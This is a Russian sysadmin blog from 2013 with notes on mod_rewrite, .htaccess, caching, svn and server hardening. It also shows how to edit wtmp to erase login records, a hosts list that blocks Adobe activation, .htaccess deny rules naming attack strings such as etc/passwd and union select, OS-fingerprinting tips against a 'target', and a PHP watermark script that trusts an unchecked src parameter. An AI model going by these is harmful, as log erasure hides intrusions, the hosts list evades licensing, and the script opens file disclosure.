При выходе пользователя из системы запись о нахождении в системе, внесенная в utmp, удаляется (с этого момента пользователь не зарегистрирован в системе), а в wtmp вносится дополнительная запись для регистрации того, что пользователь вышел из системы. 

Мы можем отредактировать wtmp файл вручную с помощью утилиты fwtmp.

Преобразуем двоичный файл wtmp в текстовый файл:
fwtmp < wtmp.mmdd > wtmp.new
Команда fwtmp преобразует wtmp из двоичного кода в текстовый формат.
Отредактируйте текстовый файл wtmp.new, удалив/отредактировав нужные записи
Преобразуем текстовый файл wtmp.new обратно в двоичный формат:
fwtmp -ic < wtmp.new > wtmp.mmdd
Если файл wtmp восстановить невозможно, то с помощью команды nulladm создайте пустой файл wtmp:
nulladm wtmp

Утилита wtmpfix поможет скорректировать согласованность системной даты и времени в файле wtmp, если в нем появились ошибки.

http://xaknotdie.org/defaced/3/d3_09.html 

Правильная очистка файлов с логами

> cp /var/log/messages /var/log/messages.old
> echo "" > /var/log/messages
Это абсолютно не правильно. Здесь есть риск потери информации, в то время как при таком раскладе:
mv /var/log/messages /var/log/messages.old
cat /dev/null > /var/log/messages
kill -HUP $syslog_pid
нет риска потери информации.

Все дело в том, что после команды mv запись продолжается в переименованный файл и только после SIGHUP демон переключается на новый.
 

понедельник, 22 июля 2013 г.

Emma Hewitt - Colours (Armin Van Buuren mix ) Brakedown


Порядок выполнения деректив mod_rewrite

  1. RewriteRule
  2. RewriteCond (хоть он и идет первым в конфигах, но выполняется после RewriteRul)
  3. RewriteBase (в конце обработки RewriteBase дописывает к результату указанный путь)
При составлении более-менее сложных конфигураций mod_rewrite важно понимать, что изменение запроса не заканчивается на последнем RewriteRule. После того, как сработало последнее правило RewriteRule и был добавлен RewriteBase, mod_rewrite смотрит, изменился запрос или нет. Если запрос изменился, его обработка начинается заново с начала файла .htaccess.

Apache поступает так, потому что в процессе изменения запроса он мог быть перенаправлен в другую директорию. В ней может быть собственный .htaccess, который не участвовал в предыдущей обработке запроса. В этом же новом .htaccess могут быть правила, которые влияют на обработку запроса — как правила mod_rewrite, так и правила других модулей. Чтобы корректно обработать эту ситуацию, Apache должен запустить весь цикл обработки заново.

— Постойте, но ведь есть флаг [L], который останавливает обработку запроса mod_rewrite'ом!

Не совсем так. Флаг [L] останавливает текущую итерацию обработки запроса. Однако если запрос был изменен теми RewriteRule, которые все-таки успели отработать, Apache запустит цикл обработки запроса заново с первого RewriteRule.

http://habrahabr.ru/company/sprinthost/blog/129560/

htaccess 6 - RewriteBase

После того как все преобразования произведены и выполнено последнее RewriteRule, вступает в силу RewriteBase.

Если получившийся после преобразований запрос является относительным и отличается от исходного, RewriteBase добавит себя к нему слева. Нужно обязательно указывать RewriteBase в .htaccess. Его значение — путь от корня сайта до .htaccess.
RewriteBase выполняется только после всех RewriteRule, а не между ними.
Если путь абсолютный, RewriteBase ничего не делает.

    images/logo.gif — относительный.
    /images/logo.gif — абсолютный (в начале слеш).
    http://example.com/images/logo.gif — самый абсолютный из всех.

Что будет, если не указать RewriteBase? По умолчанию Apache делает его равным абсолютному пути на файловой системе до .htaccess (например, /var/www/example.com/templates/).

htaccess 5 - RewriteMap

Директива RewriteMap - ассоциативный массив преобразований, который может быть использован в правилах преобразований.
http://httpd.apache.org/docs/current/rewrite/rewritemap.html

Краткий справочник svn (subversion)

svn checkout http://repository.url/svn/name — извлекаем файлы проекта из репозитория, сокращение: svn co;
svn update — получаем обновления из репозитория, сокращение: svn up;
svn update -r rev_num ./file_name — извлекаем ревизию файла с номером rev_num;
svn add ./file_name — добавляем файл в репозиторий (не важно текстовый или бинарный);
svn commit ./file_name — заливаем файл в репозиторий (не важно текстовый или бинарный);
svn rename ./old_file_name ./new_file_name — переименовываем файл в репозитории;
svn remove ./file_name — удаляем файл/директорию из репозитория;
svn status — просматриваем локально измененные файлы, сокращение: svn st;
svn status -u — просматриваем локально измененные и изменившиеся в репозитории файлы, сокращение: svn st -u;
svn diff ./file_name — показывает локальные изменения в файле построчно;
svn diff -r rev_num1:rev_num2 ./file_name — показывает различия между ревизией rev_num1 и rev_num2 файла;
svn revert ./file_name — откатывает локальные изменения файла (выгружает из репозитория последнюю закоммиченную ревизию);
svn revert -R ./ — откатывает все локальные изменения файлов;
svn log ./file_name — список ревизий с комментариями;
svn blame ./file_name — показывает авторов изменений файла построчно, синоним: svn annotate;
svn propset svn:ignore ./file_name . — добавляем файл в список игнорируемых файлов;
svn propset svn:keywords "Id Author Date" ./file_name — установка атрибутов файла;
svn cleanup — снимает блокировки с файлов;
svn unlock http://repository.url/svn/file_name — снять блокировку файла (URL можно узнать с помощью команды svn info ./file_name | grep URL, его и нужно передавать в svn unlock);
svnadmin setlog --bypass-hooks /path/to/repository -r rev_num ./commit_text_file — заменяет текстовое описание коммита, где rev_num — номер ревизии, commit_text_file — путь к файлу, содержащему новый комментарий к коммиту;
svn help command_name — выводит помощь по команде command_name, например, «svn help update»;
svn merge -r rev_to_rollback:rev_good ./file_name — откатываем ревизию номер rev_to_rollback до ревизии rev_good, причем все изменения старше rev_to_rollback сохраняются (Например, у файла есть ревизии 11,12 и 13. Хотим откатить 12-ую ревизию, но так, что бы изменения 13-ой остались в силе. Делаем тогда так: svn merge -r 12:11 ./file_name);
svn copy http://repository.url/svn/name/trunk/ http://repository.url/svn/name/branches/new_branch_name/ — создаем ветку с названием new_branch_name из главной линии разработки;
svn merge --dry-run -r rev_num1:rev_num2 http://repository.url/svn/name/trunk/ — проверяем, что будет изменено при объединении веток, где rev_num1 — номер ревизии, когда ваша ветка была «открыта», или это м.б. номер предыдущего объединения (слияния), rev_num2 — версия главной линии разработки, с которой производим объединение. Необходимо отметить, что все изменения будут применены для директории, в которой выполнялась эта команда;
svn merge -r rev_num1:rev_num2 http://repository.url/svn/name/trunk/ — синхронизирует вашу ветку с главной линией разработки с учетом ревизий: rev_num1 — номер ревизии, когда ваша ветка была «открыта», или это м.б. номер предыдущего объединения (слияния), rev_num2 — версия главной линии разработки, с которой производим объединение. Необходимо отметить, что все изменения будут применены для директории, в которой выполнялась эта команда;


Server: name in HTTP header response (Server: Apache)

We can change it to own name using mod_security and SecServerSignature derective in modsecurity.conf file:
SecServerSignature Akunamatata
and change ServerTokens parametr in httpd.conf to
ServerTokens Full

Определение ОС

OS Fingerprints - http://bugtraq.ru/library/security/finger.html


Способ первый: допустим, на сервере запушен www-сервис. Ты знаешь, что типов операционных систем всего два: Win и Unix, а одно из их существенных отличий - это то, что Unix, чувствителен к регистру, т.е. если в Win "file.txt" и "FILE.TXT" - одно и тоже, то в Unix - это два разных файла. Поэтому, Если к примеру ты просматриваешь страничку www.target.com/help.htm, просто попробуй изменить "help.htm" на "Help.htm" - если увидишь "Страница не найдена" - значит перед тобой Unix, в противном случай догадайся сам ;-)
Плюсы: абсолютная надежность и простота
Минусы: определяется только тип ОС

Способ второй: запушенные сервисы. Просканируй цель на предмет открытых портов - открытый порт это и есть сервис. Некоторые сервисы являются специфичными для определенного вида ОС, а по их версии можно определить с какой операционкой имеешь дело (Лучше всего именно так определять NT 4.0, 5.0). Кроме того, версию ОС иногда можно определить по баннеру сервиса (надписи, которую ты видишь когда соединяешься с данным сервисом - особенно этим грешит Ftp).
Плюсы: высокая надежность
Минусы: в случае с Unix`ом нельзя быть 100% уверенным, что исходя из версии сервиса ты сделал единственно правильный выбор

Способ третий: Netcraft - web-сервис
http://searchdns.netcraft.com/?restriction=site+contains&host=.ru&lookup=wait..&position=limited
Минусы: на сервере должен быть запущен www-сервис

Параметры TCP/IP


Следующие настройки помогут затруднить определение ОС для различных сканеров.

Для затруднения идентификации используемой ОС необходимо внести следующие изменения в файл /etc/sysctl.conf:
Игнорируем бродкастовые ICMP пакеты:
net.ipv4.icmp_echo_ignore_broadcasts = 1
Блокируем TCP SYN атаки:
net.ipv4.tcp_syncookies = 1
Блокируем ICMP редиректы:
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.default.accept_redirects = 0
Отключаем uptime:
net.ipv4.tcp_timestamps = 0
Меняем TTL (Time to live) с 64 на 128:
net.ipv4.ip_default_ttl = 128
Скорость генерации ICMP:
net.ipv4.icmp_ratelimit = 70
Для вступления изменений в силу перезагрузите компьютер либо выполните:
# sysctl -p
telnet - Identify remote web server
$ telnet www.vivekgite.com www
HEAD / HTTP/1.0
Output:
HTTP/1.0 200 OK
Connection: close
X-Pingback: http://www.cyberciti.biz/tips/xmlrpc.php
Content-Type: text/html; charset=UTF-8
Content-Length: 0
Date: Mon, 28 Jan 2008 08:50:55 GMT
Server: lighttpd
Connection closed by foreign host.
curl - Identify remote web server 
$ curl -I http://www.remote-server.com/
$ curl -I http://vivekgite.com/

Output:
HTTP/1.1 200 OK
Content-type: text/html
Content-Length: 0
Date: Mon, 28 Jan 2008 08:53:54 GMT
Server: lighttpd

Cache control with apache

mod_expires - модуль Apache, позволяющий указывать HTTP-заголовки Expires, давая указания кешировать статические файлы в пользовательском браузере. В результате работы модуля имеем снижения трафика и увеличение скорости отображения страниц. По умолчанию, Apache собирается уже с поддержкой mod_expires. Мы можем проверить его наличие командой:
httpd -M | grep mod_expires

Расположение файла httpd.conf:
httpd -V | grep ROOT

# кеширование в браузере на стороне пользователя
<IfModule mod_expires.c>

#Подключаем модуль
ExpiresActive On

ExpiresDefault "access 7 days"
#по умолчанию кеш в 5 секунд
    ExpiresDefault "access plus 5 seconds"
    #кэшировать флэш и изображения на месяц
    ExpiresByType image/x-icon "access plus 2592000 seconds"
    ExpiresByType image/jpeg "access plus 2592000 seconds"
ExpiresByType image/jpg "access plus 1 year"
    ExpiresByType image/png "access plus 2592000 seconds"
    ExpiresByType image/gif "access plus 2592000 seconds"
    ExpiresByType application/x-shockwave-flash "access plus 2592000 seconds"
    #кэшировать css, javascript и текстовые файлы на одну неделю
    ExpiresByType text/css "access plus 604800 seconds"
ExpiresByType text/x-javascript "access 1 year"
    ExpiresByType text/javascript "access plus 604800 seconds"
    ExpiresByType application/javascript "access plus 604800 seconds"
    ExpiresByType application/x-javascript "access plus 604800 seconds"
    #кэшировать html и htm файлы на один день
    ExpiresByType text/html "access plus 43200 seconds"
    #кэшировать xml файлы на десять минут
    ExpiresByType application/xhtml+xml "access plus 600 seconds"
</IfModule>
Короткая запись:
<ifmodule mod_expires.c>
<filesmatch ".(jpg|jpeg|gif|png|ico|css|js)$">
ExpiresActive on
ExpiresDefault "access plus 1 year"
</filesmatch>
</ifmodule>


Запретить любое кеширование:

<IfModule mod_headers.c>Header set Cache-Control: "no-cache, pre-check=0, post-check=0, max-age=0"
Header set Expires "Thu, 15 Apr 1999 20:00:00 GMT"
Header set Pragma: no-cache
Header unset ETag
Header unset Last-Modified
FileETag None</IfModule>
 
<IfModule mod_expires.c> 
ExpiresActive On 
ExpiresDefault "now"
</IfModule>  

mod_headers - this module provides directives to control and modify HTTP request and response headers. Headers can be merged, replaced or removed

http://httpd.apache.org/docs/2.2/mod/mod_headers.html
<ifModule mod_headers.c>
    #кэшировать html и htm файлы на один день
    <FilesMatch "\.(html|htm)$">
        Header set Cache-Control "max-age=43200"
    </FilesMatch>
    #кэшировать css, javascript и текстовые файлы на одну неделю
    <FilesMatch "\.(js|css|txt)$">
        Header set Cache-Control "max-age=604800"
    </FilesMatch>
    #кэшировать флэш и изображения на месяц
    <FilesMatch "\.(flv|swf|ico|gif|jpg|jpeg|png)$">
        Header set Cache-Control "max-age=2592000"
    </FilesMatch>
    #отключить кэширование
    <FilesMatch "\.(pl|php|cgi|spl|scgi|fcgi)$">
        Header unset Cache-Control
    </FilesMatch>
</IfModule> 
Pragma: no-cache - из старой версии протокола HTTP/1.0. Практически все браузеры и прокси игнорируют.  

ETag - уникальный хеш («отпечаток») байтов файла. При запросе файла с сервера, браузер сначала получает ETag хеш файла на сервере, если локальный и серверный хеши совпадают, то браузер берет файл из локального кеша, а сервер не отправляет файл.

FileETag MTime Size

Syntax: FileETag component ...

INode
    The file's i-node number will be included in the calculation
MTime
    The date and time the file was last modified will be included
Size
    The number of bytes in the file will be included
All
    All available fields will be used. This is equivalent to:

    FileETag INode MTime Size
None
    If a document is file-based, no ETag field will be included in the response

Директивы, допускаемые в запросах
Директива Описание
no-cache Сервер не должен использовать кэшированный ответ.
no-store Ответ на этот запрос не должен кэшироваться.
max-age=delta-seconds Клиент допускает кэшированный ответ, если его возраст не превышает delta-seconds секунд; клиент не требует его валидации.
max-stale=delta-seconds Клиент допускает кэшированный ответ, если его возраст не превышает delta-seconds секунд.
min-fresh=delta-seconds Клиент допускает кэшированный ответ, если он будет оставаться действительным не менее delta-seconds секунд от момента запроса.
no-transform К запрашиваемому документу не должны применяться преобразования.
only-if-cached Допускается только кэшированный ответ. Если подходящего ответа нет в кэше, то не нужна ни валидация старого ответа, ни получение нового.


Директивы, допускаемые в ответах
Директива Описание
public Ответ разрешается сохранять в любом кэше.
private Ответ разрешается сохранять только в закрытом кэше (т.е. только для этого пользователя).
no-cache Кэшированный ответ не должен использоваться без предварительной его валидации.
no-store Ответ не разрешается сохранять в кэше.
no-transform К передаваемому документу не должны применяться преобразования.
must-revalidate Если кэшированный ответ устарел, то к нему должна применяться процедура валидации. Эта директива отменяет действие max-stale.
max-age=delta-seconds Клиент допускает кэшированный ответ, если его возраст не превышает delta-seconds секунд; клиент не требует его валидации.
s-maxage=delta-seconds То же, что max-age, но действует только на открытые кэши.
proxy-revalidate То же, что must-revalidate, но действует только на прокси-сервера.

http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html
http://www.w3.org/Protocols/rfc2616/rfc2616-sec13.html#sec13.5.1
http://www.mnot.net/cache_docs/#PRAGMA
http://ru.wikipedia.org/wiki/%D0%A1%D0%BF%D0%B8%D1%81%D0%BE%D0%BA_%D0%B7%D0%B0%D0%B3%D0%BE%D0%BB%D0%BE%D0%B2%D0%BA%D0%BE%D0%B2_HTTP
http://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D1%82%D0%B0-%D1%82%D0%B5%D0%B3%D0%B8#.D0.9Ce.D1.82a-.D1.82e.D0.B3_Pragma 

воскресенье, 21 июля 2013 г.

Prevent hotlinking with .htaccess

RewriteEngine on
//Disallow blank referrers, but I recommend to not use it.
RewriteCond %{HTTP_REFERER} !^$ [NC,OR]
//Sites allowed to link your images
RewriteCond %{HTTP_REFERER} !^http(s)?://(www\.)?yourdomain.com [NC,OR]
RewriteCond %{HTTP_REFERER} !^http(s)?://(www\.)?yourdomain2.com [NC]
//Change ‘http://hpmouse.googlepages.com/hotlink.gif‘ to a image you’ve set, and whenever image hotlinking is detected,
RewriteRule \.(jpg|jpeg|png|gif)$ http://hpmouse.googlepages.com/hotlink.gif [NC,R,L]

суббота, 20 июля 2013 г.

Sign your hotlinks - Watermark on the Fly in PHP

Yon need PHP 4+ and GD 2.0+ on your server
<?php  

header('content-type: image/jpeg');  

$watermark = imagecreatefrompng('watermark.png');  

$watermark_width = imagesx($watermark);  

$watermark_height = imagesy($watermark);  

$image = imagecreatetruecolor($watermark_width, $watermark_height);  

$image = imagecreatefromjpeg($_GET['src']);  

$size = getimagesize($_GET['src']);  

$dest_x = $size[0] - $watermark_width - 5;  

$dest_y = $size[1] - $watermark_height - 5;  

imagecopymerge($image, $watermark, $dest_x, $dest_y, 0, 0, $watermark_width, $watermark_height, 100);  

imagejpeg($image);  

imagedestroy($image);  

imagedestroy($watermark);  

?>

“RewriteCond $1 ^.*.(jpg|jpeg|gif|png|bmp)$”

Or with no rewritecond the rewriterule should be:

“RewriteRule ^.*.(jpg|jpeg|gif|png|bmp)$ /scripts/watermark.php?src=%{REQUEST_URI} [L]”

Шпаргалки cheat sheats Mod Rewrite .htaccess

Mod Rewrite .htaccess

The Chemical Brothers - The Test


пятница, 19 июля 2013 г.

Настройки для файла hosts в wondows

127.0.0.1 http://www.adobeereg.com
127.0.0.1 adobeereg.com
127.0.0.1 activate.adobe.com
127.0.0.1 practivate.adobe.com
127.0.0.1 ereg.adobe.com
127.0.0.1 activate.wip3.adobe.com
127.0.0.1 wip3.adobe.com
127.0.0.1 3dns-3.adobe.com
127.0.0.1 3dns-2.adobe.com
127.0.0.1 adobe-dns.adobe.com
127.0.0.1 adobe-dns-2.adobe.com
127.0.0.1 adobe-dns-3.adobe.com
127.0.0.1 ereg.wip3.adobe.com
127.0.0.1 activate-sea.adobe.com
127.0.0.1 wwis-dubc1-vip60.adobe.com
127.0.0.1 activate-sjc0.adobe.com
127.0.0.1 tns-counter.ru
127.0.0.1 www.tns-counter.ru
127.0.0.1 livejournal.sup.com
127.0.0.1 stat.livejournal.sup.com
127.0.0.1 counter.yadro.ru
127.0.0.1 74.125.163.86
127.0.0.1 8.ce.b4.a1.top.mail.ru
127.0.0.1 www.hitcounter.ru 
127.0.0.1 85ideas.com  
127.0.0.1 fxfeeds.mozilla.com
127.0.0.1 newsrss.bbc.co.uk
127.0.0.1 www.bbc.co.uk
127.0.0.1 wsrss.bbc.co.uk
127.0.0.1 luna.mail.ru
127.0.0.1 photo75.mail.ru
127.0.0.1 sitecheck2.opera.com
127.0.0.1 mu-in-f118.1e100.net
127.0.0.1 77.220.183.34
127.0.0.1 1e100.net
127.0.0.1 tsarfin.com
127.0.0.1 rmuuekotik
127.0.0.1 ugsdxkmvpl
127.0.0.1 ckenrwezzt
127.0.0.1 counter.rambler.ru
127.0.0.1 counter.glc.ru
127.0.0.1 d5.cd.bf.a0.top.mail.ru
127.0.0.1 hit10.hotlog.ru
127.0.0.1 null
127.0.0.1 de.c6.bb.a0.top.mail.ru
127.0.0.1 s-static.ak
127.0.0.1 g.live.com
127.0.0.1 shared.live.com
127.0.0.1 begun.ru
127.0.0.1 thumbs02.begun.ru
127.0.0.1 google-analytics.com
127.0.0.1 www.google-analytics.com
127.0.0.1 ssl.google-analytics.com
127.0.0.1 id.google.ru
127.0.0.1 clients4.google.com
127.0.0.1 sb-ssl.google.com
127.0.0.1 clients2.google.com
127.0.0.1 chatenabled.mail.google.com
127.0.0.1 suggestqueries.google.com
127.0.0.1 video-stats.video.google.com
127.0.0.1 p2.gygesawcxs5u6.xkbhduq3n7egsy7y.ds.ipv6-exp.l.google.com
127.0.0.1 ipv4.ipv6-exp.l.google.com
127.0.0.1 safebrowsing-cache.google.com
127.0.0.1 safebrowsing.clients.google.com  

Secure your site with htaccess

Некоторые правила в файле .htaccess могут значительно уменьшить количество "опасных" запросов на вашем сайте и отразить атаки скрипткиддисов.

#Base rules of anti mysqli and another
RewriteCond %{QUERY_STRING} (\|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(globals|encode|localhost|loopback).* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(request|select|insert|union|declare|drop).* [NC,OR]
RewriteCond %{QUERY_STRING} concat[^\(]*\( [NC,OR]
RewriteCond %{QUERY_STRING} union([^s]*s)+elect [NC,OR]
RewriteCond %{QUERY_STRING} union([^a]*a)+ll([^s]*s)+elect [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(\[|\]|\(|\)|<|>|’|"|;|\?|\*).* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(&#x22;|&#x27;|&#x3C;|&#x3E;|&#x5C;|&#x7B;|&#x7C;).* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(%0|%A|%B|%C|%D|%E|%F|127\.0).* [NC,OR]
RewriteCond %{QUERY_STRING} .*=http.*(\:|%3A) [NC,OR]
RewriteCond %{QUERY_STRING} .*=https.*(\:|%3A) [NC,OR]
RewriteCond %{QUERY_STRING} .*=ftp.*(\:|%3A) [NC,OR]
RewriteCond %{QUERY_STRING} .*=sftp.*(\:|%3A) [NC,OR]
RewriteCond %{QUERY_STRING} .*jos_.* [NC,OR]
RewriteCond %{QUERY_STRING} .*users\+where\+gid.* [NC,OR]
RewriteCond %{QUERY_STRING} .*proc/self/environ.* [NC,OR]
RewriteCond %{QUERY_STRING} .*union\+select.* [NC,OR]
RewriteCond %{QUERY_STRING} .*perl\+.* [NC,OR]
RewriteCond %{QUERY_STRING} .*curl\+.* [NC,OR]
RewriteCond %{QUERY_STRING} .*SQL.* [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [NC,OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2}) [NC]
RewriteRule .* - [F] 


#Remote File Inclusion Protection
RewriteCond %{QUERY_STRING} ^.*=(ht)|(f)+(tp)+(://|s://)+.*(\?\?)+ [NC]
RewriteRule .* - [F]

#XSS Protection
RewriteCond %{QUERY_STRING} base64_encode.*\(.*\) [NC,OR]
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} (\<|%3C).*iframe.*(\>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [NC,OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
RewriteRule ^(.*)$ http://frost.de/trap.php [R,L]
RewriteCond %{REQUEST_METHOD} ^(HEAD|TRACE|DELETE|TRACK) [NC,OR]
RewriteCond %{THE_REQUEST} ^.*(\\r|\\n|%0A|%0D).* [NC]
RewriteRule .* - [F]

##Some else
RewriteCond %{QUERY_STRING} etc/passwd [NC,OR]
RewriteCond %{QUERY_STRING} echo.*kae  [NC,OR]
RewriteCond %{QUERY_STRING} boot\.ini  [NC,OR]
RewriteCond %{QUERY_STRING} \=\\%27$   [NC,OR]
RewriteCond %{QUERY_STRING} \=\\\'$    [NC,OR]
RewriteCond %{QUERY_STRING} \.\./      [NC]
RewriteRule .* - [F]
RedirectMatch 403 (base64|crossdomain|localhost|wwwroot|e107\_)
RedirectMatch 403 (eval\(|\_vti\_|\(null\)|echo|config\.xml)
 
 
## Disallow access to htaccess.txt, configuration.php, configuration.php-dist and php.ini
RewriteRule ^(htaccess\.txt|configuration\.php(-dist)?|php\.ini)$ - [F]

## Disallow PHP Easter Eggs (can be used in fingerprinting attacks to determine
## your PHP version). See http://www.0php.com/php_easter_egg.php and
## http://osvdb.org/12184 for more information
RewriteCond %{QUERY_STRING} \=PHP[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12} [NC]
RewriteRule .* - [F]


.htaccess for Joomla:
http://docs.joomla.org/Htaccess_examples_%28security%29

четверг, 18 июля 2013 г.

htaccess 4 RewriteRule

RewriteRule определяет правила для механизма преобразований.

Первому RewriteRule передается путь от того места, где находится .htaccess, до запрошенного файла. Эта строка никогда не начинается со "/". Последующим RewriteRule передается результат предыдущих преобразований.

В RewriteRule передается не ссылка, а путь до запрошенного файла.

Поэтому в mod_rewrite передается абсолютный путь до файла, а mod_rewrite отрезает от абсолютного пути часть до файла .htaccess.

RewriteRule просто преобразовывает строку в соответствии с регулярными выражениями, и все. RewriteRule работает со строкой, а не со ссылкой или путем до файла.

    Запрос: http://example.com/templates/silver/images/logo.gif
    DocumentRoot: /var/www/example.com
    Путь до файла: /var/www/example.com/templates/silver/images/logo.gif
    .htaccess находится в: /var/www/example.com/templates/.htaccess
    В первый RewriteRule будет передано: silver/images/logo.gif
    Обратите внимание: «templates/» тоже отрезалось.


Путь до .htaccess отрезается вместе со слешем. Из этого есть следствие: строка, которая изначально передается на обработку RewriteRule никогда не начинается со "/".

RewriteRule Шаблон Подстановка

Шаблон это perl совместимое регулярное выражение которое применяется к текущему URL.
  1. Взяли строку.   
  2. Сравнили с регулярным выражением в первом аргументе.
  3. Если есть совпадение — заменили всю строку на значение второго аргумента.
  4. Передали строку следующему RewriteRule.
RewriteRule красивый url настоящий url [флаги]

Флаги указываются в конце каждого правила в квадратных скобках через запятую.
Например:

RewriteRule ^([\w\d\-]+).html$ show.php?id=$1 [L,NC,QSA] 


RewriteCond %{QUERY_STRING} .chi-siamo\.html$
RewriteRule ^index\.php$ ?lang=it [L,R=301]

Этот URL не обязательно совпадает с первоначально запрошенным URL, потому что любое количество правил возможно уже были применены к нему и соответственно преобразовали его.
 Текст:
.(точка)     Любой одиночный символ
[chars]   Класс симвлолв: Один из символов
[^chars]  Класс симвлолв: Ни один из символов
text1|text2 Альтернатива: text1 или text2 


Кванторы (символы для обозначения количественных отношений):
?     0 или 1 из предшествующего текста
*     0 или N из предшествующего текста (N > 0)
+     1 или N из предшествующего текста (N > 1) 


Группировка:

(text)  Группировка текста
(либо установка границ альтернативы или для создания обратных связей где N группа, которая 
может быть использована в RHS директивы RewriteRule с $N)


Маркеры:
^     Маркер начала строки
$     Маркер конца строки


Экранирование:  \char экранирование конкретного символа
(к примеру для указания символов ".[]()" и т.д.)

Cимвол отрицания (NOT) - ('!') 

Если используются шаблоны с отрицанием, вы не можете использовать $N в строках подстановок! Подстановка в правиле преобразования это строка будет подставляться (или будет заменять) вместо оригинального URL, для которого есть совпадение Шаблону. Кроме простого текста вы можете использовать:

    1.обратные связи $N на шаблоны в RewriteRule
    2.обратные связи %N на последний соответствующий шаблон в RewriteCond
    3.переменные сервера в качестве проверяемых строк в условиях правил (%{VARNAME})
    4.вызовы запросов к массиву (${mapname:key|default})

Флаги

 

[R]
Redirect - останавливает процесс преобразования и возвращает результат браузеру клиента как редирект на данную страницу (код 302 - MOVED TEMPORARY), также можно указать код редиректа самостоятельно, например R=301 (код 301 - MOVED PERMANENTLY).
[F]
Forbidden - возвращает ошибку 403.
[G]
Gone - возвращает ошибку 410.
[P]
Proxy - дает команду Apache выполнть подзапрос к указанной странице с использованием программного модуля mod_proxy, при этом пользователь ничего не узнает об этом подзапросе. Если модуль mod_proxy отсутствует, то произойдет ошибка.
[L]
Last - останавливает процесс преобразования, и текущая ссылка считается окончательной.
[N]
Next - запускает процесс преобразования с первого по порядку правила.
[C]
Chain - объединяет несколько правил в цепочку. Если первое правило цепочки не срабатывает, то вся цепочка игнорируется.
[NS]
NoSubreq - разрешает срабатывание правила только для настоящих запросов, игнорируя подзапросы.
[NC]
NoCase - отключает проверку регистра символов.
[QSA]
Qsappend - добавляет исходные параметры запроса (query string) к замене. Если замена не включает в себя новые параметры запроса, то исходные параметры запроса добавляются автоматически. Если же включает, то без флага QSA исходные параметры запроса будут утеряны.
[PT]
PassThrough - останавливает процесс преобразования и передает полученную новую ссылку дальше по цепочке.
[S]
Skip - пропускает следующее правило, если данное правило сработало. Можно указать количество правил, например: S=2
[E]
Env - устанавливает переменную окружения, например: E=переменная:значение.

htaccess 3 RewriteCond

Директива RewriteCond - определяет условие, при котором происходит преобразование. RewriteCond определяет условия для какого-либо правила. Перед директивой RewriteRule располагаются одна или несколько директив RewriteCond. Следующее за ними правило преобразования используется только тогда, когда URI соответствует условиям этой директивы и также условиям этих дополнительных директив.

RewriteCond %{QUERY_STRING} .chi-siamo\.html$
RewriteRule ^index\.php$ ?lang=it [L,R=301]

$N           (0 <= N <= 9) предоставляющие доступ к сгруппированным частям (в круглых скобках!) шаблона из соответствующей директивы RewriteRule (единственной, следующей сразу за текущим набором директив RewriteCond).

%N          (1 <= N <= 9) предоставляющие доступ к сгруппированным частям (в круглых скобках!) шаблона из соответствующей директивы RewriteCond в текущем наборе условий.

%{NAME_OF_VARIABLE}      где NAME_OF_VARIABLE может быть одной из ниже приведенных переменных

 HTTP_USER_AGENT  Содержит информацию о типе и версии браузера и операционной системы посетителя.
 HTTP_REFERER  Приводится адрес страницы, с которой посетитель пришёл на данную страницу.
 HTTP_COOKIE  Список COOKIE, передаваемых браузером
 HTTP_FORWARDED  Страница непосредственно, с которой перешел пользователь
 HTTP_HOST  Адрес сервера, например, beget.ru
 HTTP_ACCEPT  Описываются предпочтения клиента относительно типа документа.
 REMOTE_ADDR  IP-адрес посетителя.
 REMOTE_HOST  адрес посетителя в нормальной форме — например, rt99.net.ru
 REMOTE_IDENT  Имя удаленного пользователя. Имеет формат имя.хост, например, kondr.www.rtt99.net.ru
 REMOTE_USER  Тоже, что и REMOTE_IDENT, но содержит только имя. Пример: kondr
 REQUEST_METHOD  Позволяет определить тип запроса (GET или POST). Должен обязательно анализироваться, т.к. определяет дальнейший способ обработки информации
 SCRIPT_FILENAME  Полный путь к веб-странице на сервере.
 PATH_INFO  Содержит в себе все, что передавалось в скрипт.
 QUERY_STRING  Содержит строчку, переданную в качестве запроса при вызове CGI скрипта.
Cтрока с набором переменных для PHP. Часть урла после знака вопроса (и до решётки якоря, если он есть).
 AUTH_TYPE  Используется для идентификации пользователя
 DOCUMENT_ROOT  Cодержит путь к корневой директории сервера.
 SERVER_ADMIN  Почтовый адрес владельца сервера, указанный при установке.
 SERVER_NAME  Адрес сервера, типа kondr.beget.ru
 SERVER_ADDR  IP-адрес вашего сайта.
 SERVER_PORT  Порт, на котором работает Apache.
 SERVER_PROTOCOL  Версия HTTP протокола.
 SERVER_SOFTWARE  Название сервера, например, Apache/1.3.2 (Unix)
 TIME_YEAR
 TIME_MON
 TIME_DAY
 TIME_HOUR
 TIME_MIN
 TIME_SEC
 TIME_WDAY
 TIME
 Переменные предназначены для работы со временем в разных форматах.
 API_VERSION  Это версия API модуля Apache (внутренний интерфейс между сервером и модулем) в текущей сборке сервера, что определено в include/ap_mmn.h.
 THE_REQUEST  Полная строка HTTP запроса отправленная браузером серверу (т.е., «GET /index.html HTTP/1.1»). Она не включает какие-либо дополнительные заголовки отправляемые браузером.
 REQUEST_URI  Ресурс, запрошенный в строке HTTP запроса.
 REQUEST_FILENAME  Полный путь в файловой системе сервера к файлу или скрипту соответствующим этому запросу.
 IS_SUBREQ  Будет содержать текст «true» если запрос выполняется в текущий момент как подзапрос, «false» в другом случае. Подзапросы могут быть сгенерированы модулями которым нужно иметь дело с дополнительными файлами или URI для того чтобы выполнить собственные задачи.

htaccess 2 - RedirectMatch


RedirectMatch позволяет использовать регулярные выражения.

